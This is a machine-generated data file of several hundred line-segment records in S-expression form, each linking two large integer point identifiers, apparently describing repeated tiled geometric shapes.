(line (p1 1440000) (p2 1440002))
(line (p1 1440002) (p2 1440003))
(line (p1 1440003) (p2 1440004))
(line (p1 1440004) (p2 1480004))
(line (p1 1480004) (p2 1480000))
(line (p1 1480000) (p2 1490001))
(line (p1 1490001) (p2 1490002))
(line (p1 1490002) (p2 1490003))
(line (p1 1490003) (p2 1490005))
(line (p1 1490005) (p2 1480004))
(line (p1 1490005) (p2 1470005))
(line (p1 1470005) (p2 1460005))
(line (p1 1460005) (p2 1450005))
(line (p1 1450005) (p2 1440004))
(line (p1 1500000) (p2 1520000))
(line (p1 1520000) (p2 1530000))
(line (p1 1530000) (p2 1540000))
(line (p1 1500000) (p2 1500002))
(line (p1 1500002) (p2 1500003))
(line (p1 1500003) (p2 1500004))
(line (p1 1500004) (p2 1540004))
(line (p1 1540004) (p2 1540000))
(line (p1 1540000) (p2 1550001))
(line (p1 1550001) (p2 1550002))
(line (p1 1550002) (p2 1550003))
(line (p1 1550003) (p2 1550005))
(line (p1 1550005) (p2 1540004))
(line (p1 1550005) (p2 1530005))
(line (p1 1530005) (p2 1520005))
(line (p1 1520005) (p2 1510005))
(line (p1 1510005) (p2 1500004))
(line (p1 1440006) (p2 1460006))
(line (p1 1460006) (p2 1470006))
(line (p1 1470006) (p2 1480006))
(line (p1 1440006) (p2 1440008))
(line (p1 1440008) (p2 1440009))
(line (p1 1440009) (p2 1440010))
(line (p1 1440010) (p2 1480010))
(line (p1 1480010) (p2 1480006))
(line (p1 1480006) (p2 1490007))
(line (p1 1490007) (p2 1490008))
(line (p1 1490008) (p2 1490009))
(line (p1 1490009) (p2 1490011))
(line (p1 1490011) (p2 1480010))
(line (p1 1490011) (p2 1470011))
(line (p1 1470011) (p2 1460011))
(line (p1 1460011) (p2 1450011))
(line (p1 1450011) (p2 1440010))
(line (p1 1500006) (p2 1520006))
(line (p1 1520006) (p2 1530006))
(line (p1 1530006) (p2 1540006))
(line (p1 1500006) (p2 1500008))
(line (p1 1500008) (p2 1500009))
(line (p1 1500009) (p2 1500010))
(line (p1 1500010) (p2 1540010))
(line (p1 1540010) (p2 1540006))
(line (p1 1540006) (p2 1550007))
(line (p1 1550007) (p2 1550008))
(line (p1 1550008) (p2 1550009))
(line (p1 1550009) (p2 1550011))
(line (p1 1550011) (p2 1540010))
(line (p1 1550011) (p2 1530011))
(line (p1 1530011) (p2 1520011))
(line (p1 1520011) (p2 1510011))
(line (p1 1510011) (p2 1500010))
(line (p1 1430003) (p2 1440003))
(line (p1 1410005) (p2 1410006))
(line (p1 1460005) (p2 1460006))
(line (p1 1430008) (p2 1440008))
(line (p1 1610003) (p2 1620003))
(line (p1 1590005) (p2 1590006))
(line (p1 1640005) (p2 1640006))
(line (p1 1610008) (p2 1620008))
(line (p1 1560000) (p2 1580000))
(line (p1 1580000) (p2 1590000))
(line (p1 1590000) (p2 1600000))
(line (p1 1560000) (p2 1560002))
(line (p1 1560002) (p2 1560003))
(line (p1 1560003) (p2 1560004))
(line (p1 1560004) (p2 1600004))
(line (p1 1600004) (p2 1600000))
(line (p1 1600000) (p2 1610001))
(line (p1 1610001) (p2 1610002))
(line (p1 1610002) (p2 1610003))
(line (p1 1610003) (p2 1610005))
(line (p1 1610005) (p2 1600004))
(line (p1 1610005) (p2 1590005))
(line (p1 1590005) (p2 1580005))
(line (p1 1580005) (p2 1570005))
(line (p1 1570005) (p2 1560004))
(line (p1 1620000) (p2 1640000))
(line (p1 1640000) (p2 1650000))
(line (p1 1650000) (p2 1660000))
(line (p1 1620000) (p2 1620002))
(line (p1 1620002) (p2 1620003))
(line (p1 1620003) (p2 1620004))
(line (p1 1620004) (p2 1660004))
(line (p1 1660004) (p2 1660000))
(line (p1 1660000) (p2 1670001))
(line (p1 1670001) (p2 1670002))
(line (p1 1670002) (p2 1670003))
(line (p1 1670003) (p2 1670005))
(line (p1 1670005) (p2 1660004))
(line (p1 1670005) (p2 1650005))
(line (p1 1650005) (p2 1640005))
(line (p1 1640005) (p2 1630005))
(line (p1 1630005) (p2 1620004))
(line (p1 1560006) (p2 1580006))
(line (p1 1580006) (p2 1590006))
(line (p1 1590006) (p2 1600006))
(line (p1 1560006) (p2 1560008))
(line (p1 1560008) (p2 1560009))
(line (p1 1560009) (p2 1560010))
(line (p1 1560010) (p2 1600010))
(line (p1 1600010) (p2 1600006))
(line (p1 1600006) (p2 1610007))
(line (p1 1610007) (p2 1610008))
(line (p1 1610008) (p2 1610009))
(line (p1 1610009) (p2 1610011))
(line (p1 1610011) (p2 1600010))
(line (p1 1610011) (p2 1590011))
(line (p1 1590011) (p2 1580011))
(line (p1 1580011) (p2 1570011))
(line (p1 1570011) (p2 1560010))
(line (p1 1620006) (p2 1640006))
(line (p1 1640006) (p2 1650006))
(line (p1 1650006) (p2 1660006))
(line (p1 1620006) (p2 1620008))
(line (p1 1620008) (p2 1620009))
(line (p1 1620009) (p2 1620010))
(line (p1 1620010) (p2 1660010))
(line (p1 1660010) (p2 1660006))
(line (p1 1660006) (p2 1670007))
(line (p1 1670007) (p2 1670008))
(line (p1 1670008) (p2 1670009))
(line (p1 1670009) (p2 1670011))
(line (p1 1670011) (p2 1660010))
(line (p1 1670011) (p2 1650011))
(line (p1 1650011) (p2 1640011))
(line (p1 1640011) (p2 1630011))
(line (p1 1630011) (p2 1620010))
(line (p1 1550003) (p2 1560003))
(line (p1 1530005) (p2 1530006))
(line (p1 1580005) (p2 1580006))
(line (p1 1550008) (p2 1560008))
(line (p1 1730003) (p2 1740003))
(line (p1 1710005) (p2 1710006))
(line (p1 1760005) (p2 1760006))
(line (p1 1730008) (p2 1740008))
(line (p1 1680000) (p2 1700000))
(line (p1 1700000) (p2 1710000))
(line (p1 1710000) (p2 1720000))
(line (p1 1680000) (p2 1680002))
(line (p1 1680002) (p2 1680003))
(line (p1 1680003) (p2 1680004))
(line (p1 1680004) (p2 1720004))
(line (p1 1720004) (p2 1720000))
(line (p1 1720000) (p2 1730001))
(line (p1 1730001) (p2 1730002))
(line (p1 1730002) (p2 1730003))
(line (p1 1730003) (p2 1730005))
(line (p1 1730005) (p2 1720004))
(line (p1 1730005) (p2 1710005))
(line (p1 1710005) (p2 1700005))
(line (p1 1700005) (p2 1690005))
(line (p1 1690005) (p2 1680004))
(line (p1 1740000) (p2 1760000))
(line (p1 1760000) (p2 1770000))
(line (p1 1770000) (p2 1780000))
(line (p1 1740000) (p2 1740002))
(line (p1 1740002) (p2 1740003))
(line (p1 1740003) (p2 1740004))
(line (p1 1740004) (p2 1780004))
(line (p1 1780004) (p2 1780000))
(line (p1 1780000) (p2 1790001))
(line (p1 1790001) (p2 1790002))
(line (p1 1790002) (p2 1790003))
(line (p1 1790003) (p2 1790005))
(line (p1 1790005) (p2 1780004))
(line (p1 1790005) (p2 1770005))
(line (p1 1770005) (p2 1760005))
(line (p1 1760005) (p2 1750005))
(line (p1 1750005) (p2 1740004))
(line (p1 1680006) (p2 1700006))
(line (p1 1700006) (p2 1710006))
(line (p1 1710006) (p2 1720006))
(line (p1 1680006) (p2 1680008))
(line (p1 1680008) (p2 1680009))
(line (p1 1680009) (p2 1680010))
(line (p1 1680010) (p2 1720010))
(line (p1 1720010) (p2 1720006))
(line (p1 1720006) (p2 1730007))
(line (p1 1730007) (p2 1730008))
(line (p1 1730008) (p2 1730009))
(line (p1 1730009) (p2 1730011))
(line (p1 1730011) (p2 1720010))
(line (p1 1730011) (p2 1710011))
(line (p1 1710011) (p2 1700011))
(line (p1 1700011) (p2 1690011))
(line (p1 1690011) (p2 1680010))
(line (p1 1740006) (p2 1760006))
(line (p1 1760006) (p2 1770006))
(line (p1 1770006) (p2 1780006))
(line (p1 1740006) (p2 1740008))
(line (p1 1740008) (p2 1740009))
(line (p1 1740009) (p2 1740010))
(line (p1 1740010) (p2 1780010))
(line (p1 1780010) (p2 1780006))
(line (p1 1780006) (p2 1790007))
(line (p1 1790007) (p2 1790008))
(line (p1 1790008) (p2 1790009))
(line (p1 1790009) (p2 1790011))
(line (p1 1790011) (p2 1780010))
(line (p1 1790011) (p2 1770011))
(line (p1 1770011) (p2 1760011))
(line (p1 1760011) (p2 1750011))
(line (p1 1750011) (p2 1740010))
(line (p1 1670003) (p2 1680003))
(line (p1 1650005) (p2 1650006))
(line (p1 1700005) (p2 1700006))
(line (p1 1670008) (p2 1680008))
(line (p1 1850003) (p2 1860003))
(line (p1 1830005) (p2 1830006))
(line (p1 1880005) (p2 1880006))
(line (p1 1850008) (p2 1860008))
(line (p1 1800000) (p2 1820000))
(line (p1 1820000) (p2 1830000))
(line (p1 1830000) (p2 1840000))
(line (p1 1800000) (p2 1800002))
(line (p1 1800002) (p2 1800003))
(line (p1 1800003) (p2 1800004))
(line (p1 1800004) (p2 1840004))
(line (p1 1840004) (p2 1840000))
(line (p1 1840000) (p2 1850001))
(line (p1 1850001) (p2 1850002))
(line (p1 1850002) (p2 1850003))
(line (p1 1850003) (p2 1850005))
(line (p1 1850005) (p2 1840004))
(line (p1 1850005) (p2 1830005))
(line (p1 1830005) (p2 1820005))
(line (p1 1820005) (p2 1810005))
(line (p1 1810005) (p2 1800004))
(line (p1 1860000) (p2 1880000))
(line (p1 1880000) (p2 1890000))
(line (p1 1890000) (p2 1900000))
(line (p1 1860000) (p2 1860002))
(line (p1 1860002) (p2 1860003))
(line (p1 1860003) (p2 1860004))
(line (p1 1860004) (p2 1900004))
(line (p1 1900004) (p2 1900000))
(line (p1 1900000) (p2 1910001))
(line (p1 1910001) (p2 1910002))
(line (p1 1910002) (p2 1910003))
(line (p1 1910003) (p2 1910005))
(line (p1 1910005) (p2 1900004))
(line (p1 1910005) (p2 1890005))
(line (p1 1890005) (p2 1880005))
(line (p1 1880005) (p2 1870005))
(line (p1 1870005) (p2 1860004))
(line (p1 1800006) (p2 1820006))
(line (p1 1820006) (p2 1830006))
(line (p1 1830006) (p2 1840006))
(line (p1 1800006) (p2 1800008))
(line (p1 1800008) (p2 1800009))
(line (p1 1800009) (p2 1800010))
(line (p1 1800010) (p2 1840010))
(line (p1 1840010) (p2 1840006))
(line (p1 1840006) (p2 1850007))
(line (p1 1850007) (p2 1850008))
(line (p1 1850008) (p2 1850009))
(line (p1 1850009) (p2 1850011))
(line (p1 1850011) (p2 1840010))
(line (p1 1850011) (p2 1830011))
(line (p1 1830011) (p2 1820011))
(line (p1 1820011) (p2 1810011))
(line (p1 1810011) (p2 1800010))
(line (p1 1860006) (p2 1880006))
(line (p1 1880006) (p2 1890006))
(line (p1 1890006) (p2 1900006))
(line (p1 1860006) (p2 1860008))
(line (p1 1860008) (p2 1860009))
(line (p1 1860009) (p2 1860010))
(line (p1 1860010) (p2 1900010))
(line (p1 1900010) (p2 1900006))
(line (p1 1900006) (p2 1910007))
(line (p1 1910007) (p2 1910008))
(line (p1 1910008) (p2 1910009))
(line (p1 1910009) (p2 1910011))
(line (p1 1910011) (p2 1900010))
(line (p1 1910011) (p2 1890011))
(line (p1 1890011) (p2 1880011))
(line (p1 1880011) (p2 1870011))
(line (p1 1870011) (p2 1860010))
(line (p1 1790003) (p2 1800003))
(line (p1 1770005) (p2 1770006))
(line (p1 1820005) (p2 1820006))
(line (p1 1790008) (p2 1800008))
(line (p1 1970003) (p2 1980003))
(line (p1 1950005) (p2 1950006))
(line (p1 2000005) (p2 2000006))
(line (p1 1970008) (p2 1980008))
(line (p1 1920000) (p2 1940000))
(line (p1 1940000) (p2 1950000))
(line (p1 1950000) (p2 1960000))
(line (p1 1920000) (p2 1920002))
(line (p1 1920002) (p2 1920003))
(line (p1 1920003) (p2 1920004))
(line (p1 1920004) (p2 1960004))
(line (p1 1960004) (p2 1960000))
(line (p1 1960000) (p2 1970001))
(line (p1 1970001) (p2 1970002))
(line (p1 1970002) (p2 1970003))
(line (p1 1970003) (p2 1970005))
(line (p1 1970005) (p2 1960004))
(line (p1 1970005) (p2 1950005))
(line (p1 1950005) (p2 1940005))
(line (p1 1940005) (p2 1930005))
(line (p1 1930005) (p2 1920004))
(line (p1 1980000) (p2 2000000))
(line (p1 2000000) (p2 2010000))
(line (p1 2010000) (p2 2020000))
(line (p1 1980000) (p2 1980002))
(line (p1 1980002) (p2 1980003))
(line (p1 1980003) (p2 1980004))
(line (p1 1980004) (p2 2020004))
(line (p1 2020004) (p2 2020000))
(line (p1 2020000) (p2 2030001))
(line (p1 2030001) (p2 2030002))
(line (p1 2030002) (p2 2030003))
(line (p1 2030003) (p2 2030005))
(line (p1 2030005) (p2 2020004))
(line (p1 2030005) (p2 2010005))
(line (p1 2010005) (p2 2000005))
(line (p1 2000005) (p2 1990005))
(line (p1 1990005) (p2 1980004))
(line (p1 1920006) (p2 1940006))
(line (p1 1940006) (p2 1950006))
(line (p1 1950006) (p2 1960006))
(line (p1 1920006) (p2 1920008))
(line (p1 1920008) (p2 1920009))
(line (p1 1920009) (p2 1920010))
(line (p1 1920010) (p2 1960010))
(line (p1 1960010) (p2 1960006))
(line (p1 1960006) (p2 1970007))
(line (p1 1970007) (p2 1970008))
(line (p1 1970008) (p2 1970009))
(line (p1 1970009) (p2 1970011))
(line (p1 1970011) (p2 1960010))
(line (p1 1970011) (p2 1950011))
(line (p1 1950011) (p2 1940011))
(line (p1 1940011) (p2 1930011))
(line (p1 1930011) (p2 1920010))
(line (p1 1980006) (p2 2000006))
(line (p1 2000006) (p2 2010006))
(line (p1 2010006) (p2 2020006))
(line (p1 1980006) (p2 1980008))
(line (p1 1980008) (p2 1980009))
(line (p1 1980009) (p2 1980010))
(line (p1 1980010) (p2 2020010))
(line (p1 2020010) (p2 2020006))
(line (p1 2020006) (p2 2030007))
(line (p1 2030007) (p2 2030008))
(line (p1 2030008) (p2 2030009))
(line (p1 2030009) (p2 2030011))
(line (p1 2030011) (p2 2020010))
(line (p1 2030011) (p2 2010011))
(line (p1 2010011) (p2 2000011))
(line (p1 2000011) (p2 1990011))
(line (p1 1990011) (p2 1980010))
(line (p1 1910003) (p2 1920003))
(line (p1 1890005) (p2 1890006))
(line (p1 1940005) (p2 1940006))
(line (p1 1910008) (p2 1920008))
(line (p1 2090003) (p2 2100003))
(line (p1 2070005) (p2 2070006))
(line (p1 2120005) (p2 2120006))
(line (p1 2090008) (p2 2100008))
(line (p1 2040000) (p2 2060000))
(line (p1 2060000) (p2 2070000))
(line (p1 2070000) (p2 2080000))
(line (p1 2040000) (p2 2040002))
(line (p1 2040002) (p2 2040003))
(line (p1 2040003) (p2 2040004))
(line (p1 2040004) (p2 2080004))
(line (p1 2080004) (p2 2080000))
(line (p1 2080000) (p2 2090001))
(line (p1 2090001) (p2 2090002))
(line (p1 2090002) (p2 2090003))
(line (p1 2090003) (p2 2090005))
(line (p1 2090005) (p2 2080004))
(line (p1 2090005) (p2 2070005))
(line (p1 2070005) (p2 2060005))
(line (p1 2060005) (p2 2050005))
(line (p1 2050005) (p2 2040004))
(line (p1 2100000) (p2 2120000))
(line (p1 2120000) (p2 2130000))
(line (p1 2130000) (p2 2140000))
(line (p1 2100000) (p2 2100002))
(line (p1 2100002) (p2 2100003))
(line (p1 2100003) (p2 2100004))
(line (p1 2100004) (p2 2140004))
(line (p1 2140004) (p2 2140000))
(line (p1 2140000) (p2 2150001))
(line (p1 2150001) (p2 2150002))
(line (p1 2150002) (p2 2150003))
(line (p1 2150003) (p2 2150005))
(line (p1 2150005) (p2 2140004))
(line (p1 2150005) (p2 2130005))
(line (p1 2130005) (p2 2120005))
(line (p1 2120005) (p2 2110005))
(line (p1 2110005) (p2 2100004))
(line (p1 2040006) (p2 2060006))
(line (p1 2060006) (p2 2070006))
(line (p1 2070006) (p2 2080006))
(line (p1 2040006) (p2 2040008))
(line (p1 2040008) (p2 2040009))
(line (p1 2040009) (p2 2040010))
(line (p1 2040010) (p2 2080010))
(line (p1 2080010) (p2 2080006))
(line (p1 2080006) (p2 2090007))
(line (p1 2090007) (p2 2090008))
(line (p1 2090008) (p2 2090009))
(line (p1 2090009) (p2 2090011))
(line (p1 2090011) (p2 2080010))
(line (p1 2090011) (p2 2070011))
(line (p1 2070011) (p2 2060011))
(line (p1 2060011) (p2 2050011))
(line (p1 2050011) (p2 2040010))
(line (p1 2100006) (p2 2120006))
(line (p1 2120006) (p2 2130006))
(line (p1 2130006) (p2 2140006))
(line (p1 2100006) (p2 2100008))
(line (p1 2100008) (p2 2100009))
(line (p1 2100009) (p2 2100010))
(line (p1 2100010) (p2 2140010))
(line (p1 2140010) (p2 2140006))
(line (p1 2140006) (p2 2150007))
(line (p1 2150007) (p2 2150008))
(line (p1 2150008) (p2 2150009))
(line (p1 2150009) (p2 2150011))
(line (p1 2150011) (p2 2140010))
(line (p1 2150011) (p2 2130011))
(line (p1 2130011) (p2 2120011))
(line (p1 2120011) (p2 2110011))
(line (p1 2110011) (p2 2100010))
(line (p1 2030003) (p2 2040003))
(line (p1 2010005) (p2 2010006))
(line (p1 2060005) (p2 2060006))
(line (p1 2030008) (p2 2040008))
(line (p1 2210003) (p2 2220003))
(line (p1 2190005) (p2 2190006))
(line (p1 2240005) (p2 2240006))
(line (p1 2210008) (p2 2220008))
(line (p1 2160000) (p2 2180000))
(line (p1 2180000) (p2 2190000))
(line (p1 2190000) (p2 2200000))
(line (p1 2160000) (p2 2160002))
(line (p1 2160002) (p2 2160003))
(line (p1 2160003) (p2 2160004))
(line (p1 2160004) (p2 2200004))
(line (p1 2200004) (p2 2200000))
(line (p1 2200000) (p2 2210001))
(line (p1 2210001) (p2 2210002))
(line (p1 2210002) (p2 2210003))
(line (p1 2210003) (p2 2210005))
(line (p1 2210005) (p2 2200004))
(line (p1 2210005) (p2 2190005))
(line (p1 2190005) (p2 2180005))
(line (p1 2180005) (p2 2170005))
(line (p1 2170005) (p2 2160004))
(line (p1 2220000) (p2 2240000))
(line (p1 2240000) (p2 2250000))
(line (p1 2250000) (p2 2260000))
(line (p1 2220000) (p2 2220002))
(line (p1 2220002) (p2 2220003))
(line (p1 2220003) (p2 2220004))
(line (p1 2220004) (p2 2260004))
(line (p1 2260004) (p2 2260000))
(line (p1 2260000) (p2 2270001))
(line (p1 2270001) (p2 2270002))
(line (p1 2270002) (p2 2270003))
(line (p1 2270003) (p2 2270005))
(line (p1 2270005) (p2 2260004))
(line (p1 2270005) (p2 2250005))
(line (p1 2250005) (p2 2240005))
(line (p1 2240005) (p2 2230005))
(line (p1 2230005) (p2 2220004))
(line (p1 2160006) (p2 2180006))
(line (p1 2180006) (p2 2190006))
(line (p1 2190006) (p2 2200006))
(line (p1 2160006) (p2 2160008))
(line (p1 2160008) (p2 2160009))
(line (p1 2160009) (p2 2160010))
(line (p1 2160010) (p2 2200010))
(line (p1 2200010) (p2 2200006))
(line (p1 2200006) (p2 2210007))
(line (p1 2210007) (p2 2210008))
(line (p1 2210008) (p2 2210009))
(line (p1 2210009) (p2 2210011))
(line (p1 2210011) (p2 2200010))
(line (p1 2210011) (p2 2190011))
(line (p1 2190011) (p2 2180011))
(line (p1 2180011) (p2 2170011))
(line (p1 2170011) (p2 2160010))
(line (p1 2220006) (p2 2240006))
(line (p1 2240006) (p2 2250006))
(line (p1 2250006) (p2 2260006))
(line (p1 2220006) (p2 2220008))
(line (p1 2220008) (p2 2220009))
(line (p1 2220009) (p2 2220010))
(line (p1 2220010) (p2 2260010))
(line (p1 2260010) (p2 2260006))
(line (p1 2260006) (p2 2270007))
(line (p1 2270007) (p2 2270008))
(line (p1 2270008) (p2 2270009))
(line (p1 2270009) (p2 2270011))
(line (p1 2270011) (p2 2260010))
(line (p1 2270011) (p2 2250011))
(line (p1 2250011) (p2 2240011))
(line (p1 2240011) (p2 2230011))
(line (p1 2230011) (p2 2220010))
(line (p1 2150003) (p2 2160003))
(line (p1 2130005) (p2 2130006))
(line (p1 2180005) (p2 2180006))
(line (p1 2150008) (p2 2160008))
(line (p1 2330003) (p2 2340003))
(line (p1 2310005) (p2 2310006))
(line (p1 2360005) (p2 2360006))
(line (p1 2330008) (p2 2340008))
(line (p1 2280000) (p2 2300000))
(line (p1 2300000) (p2 2310000))
(line (p1 2310000) (p2 2320000))
(line (p1 2280000) (p2 2280002))
(line (p1 2280002) (p2 2280003))
(line (p1 2280003) (p2 2280004))
(line (p1 2280004) (p2 2320004))
(line (p1 2320004) (p2 2320000))
(line (p1 2320000) (p2 2330001))
(line (p1 2330001) (p2 2330002))
(line (p1 2330002) (p2 2330003))
(line (p1 2330003) (p2 2330005))
(line (p1 2330005) (p2 2320004))
(line (p1 2330005) (p2 2310005))
(line (p1 2310005) (p2 2300005))
(line (p1 2300005) (p2 2290005))
(line (p1 2290005) (p2 2280004))
(line (p1 2340000) (p2 2360000))
(line (p1 2360000) (p2 2370000))
(line (p1 2370000) (p2 2380000))
(line (p1 2340000) (p2 2340002))
(line (p1 2340002) (p2 2340003))
(line (p1 2340003) (p2 2340004))
(line (p1 2340004) (p2 2380004))
(line (p1 2380004) (p2 2380000))
(line (p1 2380000) (p2 2390001))
(line (p1 2390001) (p2 2390002))
(line (p1 2390002) (p2 2390003))
(line (p1 2390003) (p2 2390005))
(line (p1 2390005) (p2 2380004))
(line (p1 2390005) (p2 2370005))
(line (p1 2370005) (p2 2360005))
(line (p1 2360005) (p2 2350005))
(line (p1 2350005) (p2 2340004))
(line (p1 2280006) (p2 2300006))
(line (p1 2300006) (p2 2310006))
(line (p1 2310006) (p2 2320006))
(line (p1 2280006) (p2 2280008))
(line (p1 2280008) (p2 2280009))
(line (p1 2280009) (p2 2280010))
(line (p1 2280010) (p2 2320010))
(line (p1 2320010) (p2 2320006))
(line (p1 2320006) (p2 2330007))
(line (p1 2330007) (p2 2330008))
(line (p1 2330008) (p2 2330009))
(line (p1 2330009) (p2 2330011))
(line (p1 2330011) (p2 2320010))
(line (p1 2330011) (p2 2310011))
(line (p1 2310011) (p2 2300011))
(line (p1 2300011) (p2 2290011))
(line (p1 2290011) (p2 2280010))
(line (p1 2340006) (p2 2360006))
(line (p1 2360006) (p2 2370006))
(line (p1 2370006) (p2 2380006))
(line (p1 2340006) (p2 2340008))
(line (p1 2340008) (p2 2340009))
(line (p1 2340009) (p2 2340010))
(line (p1 2340010) (p2 2380010))
(line (p1 2380010) (p2 2380006))
(line (p1 2380006) (p2 2390007))
(line (p1 2390007) (p2 2390008))
(line (p1 2390008) (p2 2390009))
(line (p1 2390009) (p2 2390011))
(line (p1 2390011) (p2 2380010))
(line (p1 2390011) (p2 2370011))
(line (p1 2370011) (p2 2360011))
(line (p1 2360011) (p2 2350011))
(line (p1 2350011) (p2 2340010))
(line (p1 2270003) (p2 2280003))
(line (p1 2250005) (p2 2250006))
(line (p1 2300005) (p2 2300006))
(line (p1 2270008) (p2 2280008))
(line (p1 2450003) (p2 2460003))
(line (p1 2430005) (p2 2430006))
(line (p1 2480005) (p2 2480006))
(line (p1 2450008) (p2 2460008))
(line (p1 2400000) (p2 2420000))
(line (p1 2420000) (p2 2430000))
(line (p1 2430000) (p2 2440000))
(line (p1 2400000) (p2 2400002))
(line (p1 2400002) (p2 2400003))
(line (p1 2400003) (p2 2400004))
(line (p1 2400004) (p2 2440004))
(line (p1 2440004) (p2 2440000))
(line (p1 2440000) (p2 2450001))
(line (p1 2450001) (p2 2450002))
(line (p1 2450002) (p2 2450003))
(line (p1 2450003) (p2 2450005))
(line (p1 2450005) (p2 2440004))
(line (p1 2450005) (p2 2430005))
(line (p1 2430005) (p2 2420005))
(line (p1 2420005) (p2 2410005))
(line (p1 2410005) (p2 2400004))
(line (p1 2460000) (p2 2480000))
(line (p1 2480000) (p2 2490000))
(line (p1 2490000) (p2 2500000))
(line (p1 2460000) (p2 2460002))
(line (p1 2460002) (p2 2460003))
(line (p1 2460003) (p2 2460004))
(line (p1 2460004) (p2 2500004))
(line (p1 2500004) (p2 2500000))
(line (p1 2500000) (p2 2510001))
(line (p1 2510001) (p2 2510002))
(line (p1 2510002) (p2 2510003))
(line (p1 2510003) (p2 2510005))
(line (p1 2510005) (p2 2500004))
(line (p1 2510005) (p2 2490005))
(line (p1 2490005) (p2 2480005))
(line (p1 2480005) (p2 2470005))
(line (p1 2470005) (p2 2460004))
(line (p1 2400006) (p2 2420006))
(line (p1 2420006) (p2 2430006))
(line (p1 2430006) (p2 2440006))
(line (p1 2400006) (p2 2400008))
(line (p1 2400008) (p2 2400009))
(line (p1 2400009) (p2 2400010))
(line (p1 2400010) (p2 2440010))
(line (p1 2440010) (p2 2440006))
(line (p1 2440006) (p2 2450007))
(line (p1 2450007) (p2 2450008))
(line (p1 2450008) (p2 2450009))
(line (p1 2450009) (p2 2450011))
(line (p1 2450011) (p2 2440010))
(line (p1 2450011) (p2 2430011))
(line (p1 2430011) (p2 2420011))
(line (p1 2420011) (p2 2410011))
(line (p1 2410011) (p2 2400010))
(line (p1 2460006) (p2 2480006))
(line (p1 2480006) (p2 2490006))
(line (p1 2490006) (p2 2500006))
(line (p1 2460006) (p2 2460008))
(line (p1 2460008) (p2 2460009))
(line (p1 2460009) (p2 2460010))
(line (p1 2460010) (p2 2500010))
(line (p1 2500010) (p2 2500006))
(line (p1 2500006) (p2 2510007))
(line (p1 2510007) (p2 2510008))
(line (p1 2510008) (p2 2510009))
(line (p1 2510009) (p2 2510011))
(line (p1 2510011) (p2 2500010))
(line (p1 2510011) (p2 2490011))
(line (p1 2490011) (p2 2480011))
(line (p1 2480011) (p2 2470011))
(line (p1 2470011) (p2 2460010))
(line (p1 2390003) (p2 2400003))
(line (p1 2370005) (p2 2370006))
(line (p1 2420005) (p2 2420006))
(line (p1 2390008) (p2 2400008))
(line (p1 2570003) (p2 2580003))
(line (p1 2550005) (p2 2550006))
(line (p1 2600005) (p2 2600006))
(line (p1 2570008) (p2 2580008))
(line (p1 2520000) (p2 2540000))
(line (p1 2540000) (p2 2550000))
(line (p1 2550000) (p2 2560000))
(line (p1 2520000) (p2 2520002))
(line (p1 2520002) (p2 2520003))
(line (p1 2520003) (p2 2520004))
(line (p1 2520004) (p2 2560004))
(line (p1 2560004) (p2 2560000))
(line (p1 2560000) (p2 2570001))
(line (p1 2570001) (p2 2570002))
(line (p1 2570002) (p2 2570003))
(line (p1 2570003) (p2 2570005))
(line (p1 2570005) (p2 2560004))
(line (p1 2570005) (p2 2550005))
(line (p1 2550005) (p2 2540005))
(line (p1 2540005) (p2 2530005))
(line (p1 2530005) (p2 2520004))
(line (p1 2580000) (p2 2600000))
(line (p1 2600000) (p2 2610000))
(line (p1 2610000) (p2 2620000))
(line (p1 2580000) (p2 2580002))
(line (p1 2580002) (p2 2580003))
(line (p1 2580003) (p2 2580004))
(line (p1 2580004) (p2 2620004))
(line (p1 2620004) (p2 2620000))
(line (p1 2620000) (p2 2630001))
(line (p1 2630001) (p2 2630002))
(line (p1 2630002) (p2 2630003))
(line (p1 2630003) (p2 2630005))
(line (p1 2630005) (p2 2620004))
(line (p1 2630005) (p2 2610005))
(line (p1 2610005) (p2 2600005))
(line (p1 2600005) (p2 2590005))
(line (p1 2590005) (p2 2580004))
(line (p1 2520006) (p2 2540006))
(line (p1 2540006) (p2 2550006))
(line (p1 2550006) (p2 2560006))
(line (p1 2520006) (p2 2520008))
(line (p1 2520008) (p2 2520009))
(line (p1 2520009) (p2 2520010))
(line (p1 2520010) (p2 2560010))
(line (p1 2560010) (p2 2560006))
(line (p1 2560006) (p2 2570007))
(line (p1 2570007) (p2 2570008))
(line (p1 2570008) (p2 2570009))
(line (p1 2570009) (p2 2570011))
(line (p1 2570011) (p2 2560010))
(line (p1 2570011) (p2 2550011))
(line (p1 2550011) (p2 2540011))
(line (p1 2540011) (p2 2530011))
(line (p1 2530011) (p2 2520010))
(line (p1 2580006) (p2 2600006))
(line (p1 2600006) (p2 2610006))
(line (p1 2610006) (p2 2620006))
(line (p1 2580006) (p2 2580008))
(line (p1 2580008) (p2 2580009))
(line (p1 2580009) (p2 2580010))
(line (p1 2580010) (p2 2620010))
(line (p1 2620010) (p2 2620006))
(line (p1 2620006) (p2 2630007))
(line (p1 2630007) (p2 2630008))
(line (p1 2630008) (p2 2630009))
(line (p1 2630009) (p2 2630011))
(line (p1 2630011) (p2 2620010))
(line (p1 2630011) (p2 2610011))
(line (p1 2610011) (p2 2600011))
(line (p1 2600011) (p2 2590011))
(line (p1 2590011) (p2 2580010))
(line (p1 2510003) (p2 2520003))
(line (p1 2490005) (p2 2490006))
(line (p1 2540005) (p2 2540006))
(line (p1 2510008) (p2 2520008))
(line (p1 2690003) (p2 2700003))
(line (p1 2670005) (p2 2670006))
(line (p1 2720005) (p2 2720006))
(line (p1 2690008) (p2 2700008))
(line (p1 2640000) (p2 2660000))
(line (p1 2660000) (p2 2670000))
(line (p1 2670000) (p2 2680000))
(line (p1 2640000) (p2 2640002))
(line (p1 2640002) (p2 2640003))
(line (p1 2640003) (p2 2640004))
(line (p1 2640004) (p2 2680004))
(line (p1 2680004) (p2 2680000))
(line (p1 2680000) (p2 2690001))
(line (p1 2690001) (p2 2690002))
(line (p1 2690002) (p2 2690003))
(line (p1 2690003) (p2 2690005))
(line (p1 2690005) (p2 2680004))
(line (p1 2690005) (p2 2670005))
(line (p1 2670005) (p2 2660005))
(line (p1 2660005) (p2 2650005))
(line (p1 2650005) (p2 2640004))
(line (p1 2700000) (p2 2720000))
(line (p1 2720000) (p2 2730000))
(line (p1 2730000) (p2 2740000))
(line (p1 2700000) (p2 2700002))
(line (p1 2700002) (p2 2700003))
(line (p1 2700003) (p2 2700004))
(line (p1 2700004) (p2 2740004))
(line (p1 2740004) (p2 2740000))
(line (p1 2740000) (p2 2750001))
(line (p1 2750001) (p2 2750002))
(line (p1 2750002) (p2 2750003))
(line (p1 2750003) (p2 2750005))
(line (p1 2750005) (p2 2740004))
(line (p1 2750005) (p2 2730005))
(line (p1 2730005) (p2 2720005))
